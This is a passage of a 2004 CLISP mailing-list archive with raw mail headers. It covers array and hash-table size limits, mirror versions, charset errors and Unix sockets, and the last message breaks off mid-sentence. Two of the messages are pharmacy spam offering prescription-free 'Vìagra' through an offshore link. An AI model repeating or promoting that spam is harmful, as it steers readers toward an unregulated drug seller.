2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 29 06:27:11 2004 X-Original-Date: Wed, 29 Sep 2004 11:19:20 +0200 Hi, I have C/C++ background. Recently I decided to have a go with LISP. I work with large data sets (1GB and more, 256M elements and more). I would like to load the whole set or as large part of it as possible into an array to speed up processing. The computers I use have 512MB or even 4GB of RAM (Intel + MS Windows + Cygwin, Intel + Fedora Core). Unfortunately array-total-size-limit is 16777216 elements. Is there any way to increase the limit? I have also tried (make-hash-table :size (* 1024 1024 32)) and failed. Is there any way to put 32M elements into a hash table? I use clisp 2.33.2 on Fedora and 2.33.1 on MSWindows/Cygwin. I will be grateful for any help. Regards Wojciech Mikanik -- Wojciech Mikanik Silesia University of Technology Institute of Computer Science Akademicka 16 44-100 Gliwice, Poland Phone: +48-32-237-27-05 Fax: + 48-32-237-27-33 http://www-zo.iinf.polsl.gliwice.pl/pub/wmikanik From pascal@informatimago.com Wed Sep 29 07:17:41 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CCfH2-0006Se-Dp for clisp-list@lists.sourceforge.net; Wed, 29 Sep 2004 07:17:40 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CCfH0-00010G-F4 for clisp-list@lists.sourceforge.net; Wed, 29 Sep 2004 07:17:40 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C2E4F586E6; Wed, 29 Sep 2004 16:17:32 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id DBBB76C5CA; Wed, 29 Sep 2004 16:17:11 +0200 (CEST) Message-ID: <16730.50151.846793.260115@thalassa.informatimago.com> To: Wojciech Mikanik Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] How to create large (>=500MB) arrays and hash tables? In-Reply-To: <200409290919.i8T9JKB22752@vega.iinf.polsl.gliwice.pl> References: <200409290919.i8T9JKB22752@vega.iinf.polsl.gliwice.pl> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 29 07:23:55 2004 X-Original-Date: Wed, 29 Sep 2004 16:17:11 +0200 Wojciech Mikanik writes: > Hi, > > I have C/C++ background. Recently I decided to have a go with LISP. > I work with large data sets (1GB and more, 256M elements and more). I would > like to load the whole set or as large part of it as possible into an array > to speed up processing. The computers I use have 512MB or even 4GB of RAM > (Intel + MS Windows + Cygwin, Intel + Fedora Core). Unfortunately > array-total-size-limit is 16777216 elements. Is there any way to increase > the limit? No. You could change to an implementation with a greater limit. Or you'll have to implement your own "array" object using several CL arrays. > I have also tried > (make-hash-table :size (* 1024 1024 32)) > and failed. Is there any way to put 32M elements into a hash table? Most probably, ARRAY-TOTAL-SIZE-LIMIT or ARRAY-DIMENSION-LIMIT applies to the number of hash table entries too, but it's really implementation dependant. You will have to implement your own data structures to store so much data. > I use clisp 2.33.2 on Fedora and 2.33.1 on MSWindows/Cygwin. -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From sds@gnu.org Wed Sep 29 07:34:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CCfXJ-0002qK-1T for clisp-list@lists.sourceforge.net; Wed, 29 Sep 2004 07:34:29 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CCfX1-0007uq-Vr for clisp-list@lists.sourceforge.net; Wed, 29 Sep 2004 07:34:28 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i8TEXruR026755; Wed, 29 Sep 2004 10:33:54 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Wojciech Mikanik Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200409290919.i8T9JKB22752@vega.iinf.polsl.gliwice.pl> (Wojciech Mikanik's message of "Wed, 29 Sep 2004 11:19:20 +0200") References: <200409290919.i8T9JKB22752@vega.iinf.polsl.gliwice.pl> Mail-Followup-To: clisp-list@lists.sourceforge.net, Wojciech Mikanik , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: How to create large (>=500MB) arrays and hash tables? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 29 07:35:54 2004 X-Original-Date: Wed, 29 Sep 2004 10:33:53 -0400 > * Wojciech Mikanik [2004-09-29 11:19:20 +0200]: > > like to load the whole set or as large part of it as possible into an > array to speed up processing. The computers I use have 512MB or even > 4GB of RAM (Intel + MS Windows + Cygwin, Intel + Fedora First and foremost, get a 64-bit CPU and compile CLISP in 64-bit mode. Otherwise you are not getting anywhere. In 64-bit mode, CLISP has larger limits for array sizes and thus for hash-table sizes too. Still, instead of a 2^24 limit for arrays, you will have a 2^32 limit (not a 2^48 limit as you and I might want). > Core). Unfortunately array-total-size-limit is 16777216 elements. Is > there any way to increase the limit? no. it is an internal hard-wired constant which depends on the CPU arch. > I have also tried (make-hash-table :size (* 1024 1024 32)) and > failed. Is there any way to put 32M elements into a hash table? not on a 32-bit platform. PS. I see no reason not to have 48-bit fixnums in 64-bit mode... https://sourceforge.net/tracker/?func=detail&aid=999750&group_id=1355&atid=351355 -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't hit a man when he's down -- kick him; it's easier. From rurban@x-ray.at Wed Sep 29 07:38:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CCfbS-0003pH-EL for clisp-list@lists.sourceforge.net; Wed, 29 Sep 2004 07:38:46 -0700 Received: from rurban.deatech.at ([213.229.57.230] helo=mail.xarch.at) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CCfbQ-0005Cd-Ge for clisp-list@lists.sourceforge.net; Wed, 29 Sep 2004 07:38:46 -0700 Received: from [192.168.0.2] (62-99-252-218.c-gmitte.xdsl-line.inode.at [62.99.252.218]) by mail.xarch.at (Postfix) with ESMTP id 119B014ED5D; Wed, 29 Sep 2004 16:38:23 +0200 (CEST) Message-ID: <415AC8ED.4060101@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: Wojciech Mikanik Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to create large (>=500MB) arrays and hash tables? References: <200409290919.i8T9JKB22752@vega.iinf.polsl.gliwice.pl> In-Reply-To: <200409290919.i8T9JKB22752@vega.iinf.polsl.gliwice.pl> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 29 07:40:16 2004 X-Original-Date: Wed, 29 Sep 2004 16:38:37 +0200 Wojciech Mikanik schrieb: > I have C/C++ background. Recently I decided to have a go with LISP. > I work with large data sets (1GB and more, 256M elements and more). I would > like to load the whole set or as large part of it as possible into an array > to speed up processing. The computers I use have 512MB or even 4GB of RAM > (Intel + MS Windows + Cygwin, Intel + Fedora Core). Unfortunately > array-total-size-limit is 16777216 elements. Is there any way to increase > the limit? use a better lisp? > I have also tried > (make-hash-table :size (* 1024 1024 32)) > and failed. Is there any way to put 32M elements into a hash table? > > I use clisp 2.33.2 on Fedora and 2.33.1 on MSWindows/Cygwin. sbcl, acl, lispworks. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From sds@gnu.org Wed Sep 29 08:12:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CCg8K-0002OL-G1 for clisp-list@lists.sourceforge.net; Wed, 29 Sep 2004 08:12:44 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CCg8I-0001Tq-R0 for clisp-list@lists.sourceforge.net; Wed, 29 Sep 2004 08:12:44 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i8TFCPuR008696; Wed, 29 Sep 2004 11:12:30 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Reini Urban Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <415AC8ED.4060101@x-ray.at> (Reini Urban's message of "Wed, 29 Sep 2004 16:38:37 +0200") References: <200409290919.i8T9JKB22752@vega.iinf.polsl.gliwice.pl> <415AC8ED.4060101@x-ray.at> Mail-Followup-To: clisp-list@lists.sourceforge.net, Reini Urban Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: How to create large (>=500MB) arrays and hash tables? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 29 08:13:05 2004 X-Original-Date: Wed, 29 Sep 2004 11:12:25 -0400 > * Reini Urban [2004-09-29 16:38:37 +0200]: > > Wojciech Mikanik schrieb: >> would like to load the whole set or as large part of it as possible >> into an array to speed up processing. The computers I use have 512MB >> or even 4GB of RAM (Intel + MS Windows + Cygwin, Intel + Fedora >> Core). Unfortunately array-total-size-limit is 16777216 elements. Is >> there any way to increase the limit? > > use a better lisp? no 32-bit list can address more than 2GB of RAM. -- Sam Steingold (http://www.podval.org/~sds) running w2k UNIX is a way of thinking. Windows is a way of not thinking. From rurban@x-ray.at Wed Sep 29 12:02:27 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CCjiZ-0002ZB-Ei for clisp-list@lists.sourceforge.net; Wed, 29 Sep 2004 12:02:23 -0700 Received: from rurban.deatech.at ([213.229.57.230] helo=mail.xarch.at) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CCjiY-0004pV-Em for clisp-list@lists.sourceforge.net; Wed, 29 Sep 2004 12:02:23 -0700 Received: from [192.168.0.2] (62-99-252-218.c-gmitte.xdsl-line.inode.at [62.99.252.218]) by mail.xarch.at (Postfix) with ESMTP id 1C2ED14ED5E for ; Wed, 29 Sep 2004 21:02:02 +0200 (CEST) Message-ID: <415B06BA.1040109@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <200409290919.i8T9JKB22752@vega.iinf.polsl.gliwice.pl> <415AC8ED.4060101@x-ray.at> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: How to create large (>=500MB) arrays and hash tables? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 29 12:03:02 2004 X-Original-Date: Wed, 29 Sep 2004 21:02:18 +0200 Sam Steingold schrieb: >>* Reini Urban [2004-09-29 16:38:37 +0200]: >> >>Wojciech Mikanik schrieb: >> >>>would like to load the whole set or as large part of it as possible >>>into an array to speed up processing. The computers I use have 512MB >>>or even 4GB of RAM (Intel + MS Windows + Cygwin, Intel + Fedora >>>Core). Unfortunately array-total-size-limit is 16777216 elements. Is >>>there any way to increase the limit? >> >>use a better lisp? sorry, should be "use a slower lisp". > no 32-bit list can address more than 2GB of RAM. True, but slower lisp's might use/fallback to bignums or use abstract int64 (long long) on a i386 cpu. Haven't checked that though. There was some discussion on comp.lang.lisp some year ago. You (wojciech) might want to google. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From lin8080@freenet.de Fri Oct 01 16:57:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CDXGj-0004TW-IH for clisp-list@lists.sourceforge.net; Fri, 01 Oct 2004 16:56:57 -0700 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1CDXGZ-0002Vd-23 for clisp-list@lists.sourceforge.net; Fri, 01 Oct 2004 16:56:57 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtpa (Exim 4.42) id 1CDXGV-0007XH-GN for clisp-list@lists.sourceforge.net; Sat, 02 Oct 2004 01:56:43 +0200 Received: from be7bb.b.pppool.de ([213.7.231.187] helo=freenet.de) by mx0.freenet.de with esmtpsa (ID lin8080@freenet.de) (SSLv3:RC4-MD5:128) (Exim 4.42 #1) id 1CDXGU-0003KJ-UK for clisp-list@lists.sourceforge.net; Sat, 02 Oct 2004 01:56:43 +0200 Message-ID: <415DEB03.31B12E64@freenet.de> From: lin8080 X-Mailer: Mozilla 4.73 [de]C-CCK-MCD QXW03244 (Win98; U) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <5F9130612D07074EB0A0CE7E69FD7A0301542095@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] reporting versions on ftp mirrors Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 1 17:03:22 2004 X-Original-Date: Sat, 02 Oct 2004 01:40:51 +0200 German Mirror FTP lists in ftp.tu-darmstadt.de /pub/programming/languages/lisp/clisp/binaries/latest Version 2.31-1.i386.rpm and others 2.31-x while on Gentoo 2004.1 DVD is found Version 2.33-xx.tarball Please proof and update 01.10.04 stefan From m.mathewsew@reel-life-tv.co.uk Sat Oct 02 11:14:42 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CDoP4-00030z-1R for clisp-list@lists.sourceforge.net; Sat, 02 Oct 2004 11:14:42 -0700 Received: from dyn-83-155-104-96.ppp.tiscali.fr ([83.155.104.96] helo=infonet.com.br) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CDoNl-00057k-1W for clisp-list@lists.sourceforge.net; Sat, 02 Oct 2004 11:14:41 -0700 Received: from 104.95.121.24 by smtp.reel-life-tv.co.uk; Sat, 02 Oct 2004 18:22:43 +0000 Message-ID: <6d5d01c4a8ac$f4b0bb97$f4633e00@infonet.com.br> From: "Melinda Mathews" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.5 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 1.5 DRUGS_ERECTILE_OBFU Obfuscated reference to an erectile drug 1.0 DRUGS_ERECTILE Refers to an erectile drug 0.0 CLICK_BELOW Asks you to click below Subject: [clisp-list] Get vìagra for a great price. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 2 11:16:53 2004 X-Original-Date: Sat, 02 Oct 2004 12:22:34 -0600 Hi, We have a new offer for you. Buy cheap Vìagra through our online store. - Private online ordering - No prescription required - World wide shipping Order your drugs offshore and save over 70%! Click here: http://888-luvu.com/meds/ Best regards, Donald Cunfingham No thanks: http://888-luvu.com/rm.html From lawrencef_haynesxd@vanityfair.at Mon Oct 04 04:15:46 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEQoi-0005E2-V7 for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 04:15:44 -0700 Received: from [84.97.10.62] (helo=nordstamp.dk ident=GW|nt-38362) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CEQog-00019I-6g for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 04:15:44 -0700 Received: from 65.143.149.102 by smtp.vanityfair.at; Mon, 04 Oct 2004 11:23:19 +0000 Message-ID: <1f6801c4aa04$c9592434$175dc489@nordstamp.dk> From: "Lawrence F. Haynes" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.5 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 1.5 DRUGS_ERECTILE_OBFU Obfuscated reference to an erectile drug 1.0 DRUGS_ERECTILE Refers to an erectile drug 0.0 CLICK_BELOW Asks you to click below Subject: [clisp-list] Get vìagra for a great price. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 04:21:51 2004 X-Original-Date: Mon, 04 Oct 2004 17:22:59 +0600 Hi, We have a new offer for you. Buy cheap Vìagra through our online store. - Private online ordering - No prescription required - World wide shipping Order your drugs offshore and save over 70%! Click here: http://888-luvu.com/meds/ Best regards, Donald Cunfingham No thanks: http://888-luvu.com/rm.html From catalin.marinas@arm.com Mon Oct 04 06:40:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CET4O-00050n-7S for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 06:40:04 -0700 Received: from ipass.cambridge.arm.com ([193.131.176.58] helo=cam-admin0.cambridge.arm.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CET4A-0007O8-Ao for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 06:40:04 -0700 Received: from cam-mail2.cambridge.arm.com (cam-mail2.cambridge.arm.com [10.1.127.39]) by cam-admin0.cambridge.arm.com (8.12.10/8.12.10) with ESMTP id i94DdDxm000919 for ; Mon, 4 Oct 2004 14:39:13 +0100 (BST) Received: from localhost.localdomain (cmarinas@pc1117.cambridge.arm.com [10.1.69.160]) by cam-mail2.cambridge.arm.com (8.9.3/8.9.3) with ESMTP id OAA29173 for ; Mon, 4 Oct 2004 14:38:49 +0100 (BST) To: clisp-list@lists.sourceforge.net From: Catalin Marinas Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Charsets and #\Degree_sign Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 06:42:51 2004 X-Original-Date: Mon, 04 Oct 2004 14:39:50 +0100 Hi, I'm trying to read the output of an application through a stream and, at some point, the application generates the degree sign (code-char #xB0) and read-line fails with an error saying that the character cannot be represented in the character set CHARSET:ASCII. I looked in the clisp (version 2.33.2) implementation notes and this character seems to be part of the iso-8859-1 set. I tried setting :external-format 'iso-8859-1 and/or :element-type 'extended-char but it doesn't make any difference. I could pipe the output of that application through a sed script but is there a better way to convince clisp to accept it? Thanks, Catalin From Joerg-Cyril.Hoehle@t-systems.com Mon Oct 04 07:03:27 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CETR0-0003L6-Ky for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 07:03:26 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CETQh-00077b-In for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 07:03:26 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 4 Oct 2004 16:02:50 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4G00JT3N>; Mon, 4 Oct 2004 16:00:56 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301AEB418@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " Subject: [clisp-list] binding to Unix domain sockets -- 95% of it has been there for ag es Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 07:06:27 2004 X-Original-Date: Mon, 4 Oct 2004 16:00:53 +0200 Hi [3rd try], me too wanted to ty out unix domain sockets (because pg.lisp does it with CMUCL). Once again, CLISP has 95% of what's required (see below), yet it's not usable. Sam Steingold wrote, on the 21st of April: >> Is it possible create and bind a pathname to a Unix domain socket with >> clisp? If so, how? >1. Don Cohen is working on a "raw-sock" module which should offer full > socket access from CLISP. >2. This has been discussed on clisp-devel, go to clisp.cons.org and > search the mailing list for "unix sockets" or "udp sockets" > (the search is available on the front page, use either gmane or SF) The response is IMHO not satisfactory. Ad 1): I don't need raw sockets or use UDP, 